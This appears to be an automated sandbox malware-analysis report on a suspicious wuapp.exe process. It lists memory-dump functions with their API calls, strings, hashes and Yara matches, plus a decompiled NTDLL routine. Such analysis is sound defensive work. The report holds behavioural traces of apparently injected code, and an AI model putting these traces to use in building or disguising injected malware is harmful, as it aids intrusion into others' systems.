Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 01E9FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01E9FEDB

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00128FF0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00129098

Strings

wininet.dll, xrefs: 0012904E, 00129057
net.dll, xrefs: 00129061, 001290E7, 001290BF, 001290CB, 001290F3

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 435d5b72a1cbef6549f2c0d885b1f2f7dec4cc8403c773cfc9aa7e74d2998e0e
Instruction ID: b6f15609c9afcf28beaec656b7120ed86709098451c8e63a3bd9031df59ab28e
Opcode Fuzzy Hash: 435d5b72a1cbef6549f2c0d885b1f2f7dec4cc8403c773cfc9aa7e74d2998e0e
Instruction Fuzzy Hash: DF31AFB6602704ABD725DF69D8A1FA7B7B8FF48700F00811DFA1A9B281D731A555CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00128FE6 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 81
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00129098

Strings

wininet.dll, xrefs: 0012904E, 00129057
net.dll, xrefs: 00129061, 001290BF, 001290CB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: f67f2977435e73d15df1aeb201953e657b79fd99b1269b873f98a0ab67329ae0
Instruction ID: 52de95da94e18399b7e5f73a1cdc2d49582522d944d7c36cab4332a74b47a4fb
Opcode Fuzzy Hash: f67f2977435e73d15df1aeb201953e657b79fd99b1269b873f98a0ab67329ae0
Instruction Fuzzy Hash: EB31E3B2601315ABD715DF68D891FABBBB4EF48700F10811DFA199B282D371A465CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001175F3 Relevance: 3.1, APIs: 2, Instructions: 66
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 0011768A
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 001176AB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e8f10ab93e280f6c44fd0f173b9b351da9bb6be2d6eccab9178df92255b65650
Instruction ID: 33b5d2a2806d6f6322fb794a313e641e4b97143cb726307463605b20e630ed8f
Opcode Fuzzy Hash: e8f10ab93e280f6c44fd0f173b9b351da9bb6be2d6eccab9178df92255b65650
Instruction Fuzzy Hash: C0012631A801287AE724A698DC43FFE7728EF54B51F044139FB04FA2C1E7A46D4687E5

Uniqueness

Uniqueness Score: -1.00%

Function 00117630 Relevance: 3.1, APIs: 2, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 0011768A
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 001176AB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 936f838c949d7ac0cd1410a4ea2eb09aa53af833da505c72487ee6613ac9fd53
Instruction ID: 216dab69a109edcd564df7bcbb608a72884071bdb94dfc5816dd3b4ca2135f1c
Opcode Fuzzy Hash: 936f838c949d7ac0cd1410a4ea2eb09aa53af833da505c72487ee6613ac9fd53
Instruction Fuzzy Hash: 5401A231A802287BE724A6959C43FFE776C9F14B50F044128FF04BA1C1E7A4690687E6

Uniqueness

Uniqueness Score: -1.00%

Function 00117629 Relevance: 3.1, APIs: 2, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 0011768A
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 001176AB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 3ce97a60d7b82ec3734065e22fa696d29ea73bdd6f64d2ef20b3ec9f9ab80729
Instruction ID: 7daa64186901603dbf1dba4ec96a5cb6229d2d7eb194ad5ac550362d0a3467b8
Opcode Fuzzy Hash: 3ce97a60d7b82ec3734065e22fa696d29ea73bdd6f64d2ef20b3ec9f9ab80729
Instruction Fuzzy Hash: 73018431A806287BE735A6A49C43FFE7B2C9F55B50F144128FB04BA1C1E7A46A0687E5

Uniqueness

Uniqueness Score: -1.00%

Function 0012911A Relevance: 1.6, APIs: 1, Instructions: 110
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0011D290,?,?), ref: 0012915C

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f16cc74794a770b92e1aa6bab936f624af8927e6ebb14edd164ca71e6778d891
Instruction ID: 93ccb382b997a34f984dea87268ea82bfbd743ec8449e668f97dc4b1107ec708
Opcode Fuzzy Hash: f16cc74794a770b92e1aa6bab936f624af8927e6ebb14edd164ca71e6778d891
Instruction Fuzzy Hash: A431B276201715BBD314DB78ECE2FE7B3A8EF98740F004519F6199A181DB70B82987A0

Uniqueness

Uniqueness Score: -1.00%

Function 0011A0E0 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0011A152

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40796ed2abedf08632889fec39371184e398d1dfafb99c177ad60987c42a2680
Instruction ID: 01ea53c551505d48e6ce3c6f7fd9feea2f987eb1129a23e52f09da96111709ef
Opcode Fuzzy Hash: 40796ed2abedf08632889fec39371184e398d1dfafb99c177ad60987c42a2680
Instruction Fuzzy Hash: E0011EB5E4020DBBDB14EAE4EC42FDDB7B89F54308F1041A5E90897241F731EB588B91

Uniqueness

Uniqueness Score: -1.00%

Function 0012A612 Relevance: 1.5, APIs: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00125126,?,0012589F,0012589F,?,00125126,?,?,?,?,?,00000000,00000005,00000206), ref: 0012A5CD

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c360dfa50225b9bcdd48af04216d2a876772242fff17f93ccfc2363367a525cc
Instruction ID: e34dc3cf9586969f744e63e98fbf2605bdf5c4150ee395c5ecfa7843d7ab4a07
Opcode Fuzzy Hash: c360dfa50225b9bcdd48af04216d2a876772242fff17f93ccfc2363367a525cc
Instruction Fuzzy Hash: 55F022B62043042FCB20EFA9EC80EDB7798AF85364F008449F84C5B603C630E915CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0012A650 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0012A6A4

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction ID: 5c254d0d6d73717242566072e71c41882398f2dc172016d647cf05f47ea51bd6
Opcode Fuzzy Hash: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction Fuzzy Hash: E201B2B2210108BFCB54DF89DC80EEB77ADAF8C754F118258BA0D97245C630EC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0012A64D Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0012A6A4

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 0f1ce346c5fce77d5ce9fae80055a9ec3d393922c69a97fbae8876696ff47ec7
Instruction ID: 9b67271ff9bbd4cc108861d857b489d98c59deb28fc42aa1e427b9dd5c62527f
Opcode Fuzzy Hash: 0f1ce346c5fce77d5ce9fae80055a9ec3d393922c69a97fbae8876696ff47ec7
Instruction Fuzzy Hash: 1101B6B6210108BFCB54CF89DC81EEB77ADAF8C754F118258FA0D97255C634E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00129120 Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0011D290,?,?), ref: 0012915C

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0fb4d47717480a5baf77f538d5614a21f461a549888388fa5683e808b0705816
Instruction ID: d342525c5dce3f71d072afe121a28d9369a35dedd4526deb2f4f3b6aa679bbe2
Opcode Fuzzy Hash: 0fb4d47717480a5baf77f538d5614a21f461a549888388fa5683e808b0705816
Instruction Fuzzy Hash: 18E06D3338031436E32065A9AC03FA7B69CDB90B20F14002AFA0DEB2C1E6A1F81142A4

Uniqueness

Uniqueness Score: -1.00%

Function 0012A6AB Relevance: 1.5, APIs: 1, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0012A6A4

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 80d6f94866a088d8ddd6de59a7225987c9e8ef4e9489aebd4d8ef52862bfbc53
Instruction ID: 1ff20e7b23da0e3201b930621ac41e6e495a00bde4590533d4b66943d895e02f
Opcode Fuzzy Hash: 80d6f94866a088d8ddd6de59a7225987c9e8ef4e9489aebd4d8ef52862bfbc53
Instruction Fuzzy Hash: 7EF062B6210019AF8B44DF9DEC80DEB73ADAF8C714B559208FA1DD3255D634EC518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0012A5A0 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00125126,?,0012589F,0012589F,?,00125126,?,?,?,?,?,00000000,00000005,00000206), ref: 0012A5CD

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction ID: 8e8685c87d34bd88589782826ba7efad9a2e72207c1041887653f436947d1f5b
Opcode Fuzzy Hash: 4eeee5f58efdf21d171fa9f1326e000b1994929843c0f345beb3c8c7aaa15deb
Instruction Fuzzy Hash: 60E04FB12002146BDB14DF49DC45E9B37ACEF88754F018154FE085B241C630F910CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 0012A5E0 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0012A60D

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction ID: fd87d305bc0daff27ead6cb41e74f1345f81174dbadaa449077f71de208cafeb
Opcode Fuzzy Hash: a1f7dc8e7f53a3f8249f2c6d0a6452cc2d574f3e67fea06934ffed66e3b82adc
Instruction Fuzzy Hash: DCE04FB12002146FD714DF49DC49EA737ACEF88750F114154FD0857241C630F910CAF1

Uniqueness

Uniqueness Score: -1.00%

Function 0012A740 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0011D562,0011D562,?,00000000,?,?), ref: 0012A770

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction ID: ef2c1c70304ca26d6def4ddd0886e387c0c6805ec189b833294cc4729231fc7c
Opcode Fuzzy Hash: 1603bad059ca15678eb2c8229aefeef34436a6a2ffabd18c43c9bb13eb52ef96
Instruction Fuzzy Hash: 40E01AB22002186BDB10DF49DC45EE737ADAF89654F018154BA0857241C630E8148AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0011D9CE Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,001181E3,?), ref: 0011D9FB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 86cc229081c305ac01309eada17de36257433ccebb23e2f073137eebbef059e9
Instruction ID: 43874208f569bae6e8495ba0e69cb74bbf68539377b37e3e597d287216ebec6b
Opcode Fuzzy Hash: 86cc229081c305ac01309eada17de36257433ccebb23e2f073137eebbef059e9
Instruction Fuzzy Hash: 88D097E15A83092AF760F7F0ACC3F263E048B00300F0A02E8E418AF0C3CE54D0509236

Uniqueness

Uniqueness Score: -1.00%

Function 0011D9D0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,001181E3,?), ref: 0011D9FB

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 9150d0d40ae8b8939ca8b65567a20e3e661ab3ee174f96d1588e7d8f6837221b
Instruction ID: c27dc1dc4cb476c27ea6ec7bf8f8525814befb57dcd3919d9594123bda2f071f
Opcode Fuzzy Hash: 9150d0d40ae8b8939ca8b65567a20e3e661ab3ee174f96d1588e7d8f6837221b
Instruction Fuzzy Hash: 32D0A77264030837F710E6E49C43F6636CC9B48B04F0540B4F909DB3C3DA60F4004165

Uniqueness

Uniqueness Score: -1.00%

Function 0011A0D3 Relevance: 1.5, APIs: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0011A152

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 0ba5eb0ca508fad6ddbea8a944ac1c6cea52edcdc7b16ad42aba06ba11698ec8
Instruction ID: 2ec5fcba1596988ef6f001221be91c15e582cef8671a60fcc2881df41cf59e77
Opcode Fuzzy Hash: 0ba5eb0ca508fad6ddbea8a944ac1c6cea52edcdc7b16ad42aba06ba11698ec8
Instruction Fuzzy Hash: 4AC0C030E25104AFEF10C5944C02FF833D0C7103B3F7001E66C0CC7241D5120C000290

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01EC8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01EC8788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E01EC8460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E01EAE025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E01EC718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E01EC8460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E01EC718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E01EC8460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E01EC8460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E01EC8460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E01EC718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E01EAE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E01EA2340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E01EBE679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E01EAE2A8(_t322,  &_v68, _v16);
								if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E01EBE679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E01EAE2A8(_t322,  &_v68, _t236);
								if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E01EC718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E01EAE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E01EA2340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E01EBE679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E01EAE2A8(_v12,  &_v68, _v16);
							if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E01EBE679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E01EAE2A8(_t322,  &_v68, _t269);
							if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E01EC718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E01EAE0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E01EA2340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E01EBE679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E01EAE2A8(_v12,  &_v68, _v16);
						if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E01EBE679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E01EAE2A8(_t322,  &_v68, _t296);
						if(E01EC5553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E01EAE025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x01ec8788
0x01ec8788
0x01ec8791
0x01ec8794
0x01ec8798
0x01ec879b
0x01ec879e
0x01ec87a1
0x01ec87a4
0x01ec87a7
0x01ec87aa
0x01ec87af
0x01f11ad3
0x01ec8b0a
0x01ec8b0d
0x01ec8b13
0x01ec8b19
0x01ec8b1f
0x01ec8b25
0x01ec8b2b
0x01ec8b31
0x01ec8b37
0x01ec8b3d
0x01ec8b46
0x01ec8b46
0x01ec87c6
0x01ec87d0
0x01f11ae0
0x01f11ae6
0x01f11af8
0x01f11af8
0x01f11afd
0x01f11afe
0x01f11b01
0x01f11b06
0x01f11b06
0x01ec87d6
0x01ec87f2
0x01ec87f7
0x01ec8807
0x01ec880a
0x01ec880f
0x01ec8810
0x01ec8813
0x01ec8818
0x01ec8818
0x01ec882c
0x01ec8831
0x01ec8838
0x01ec8908
0x01ec8920
0x01ec89f0
0x01ec8a08
0x01ec8af6
0x01ec8af6
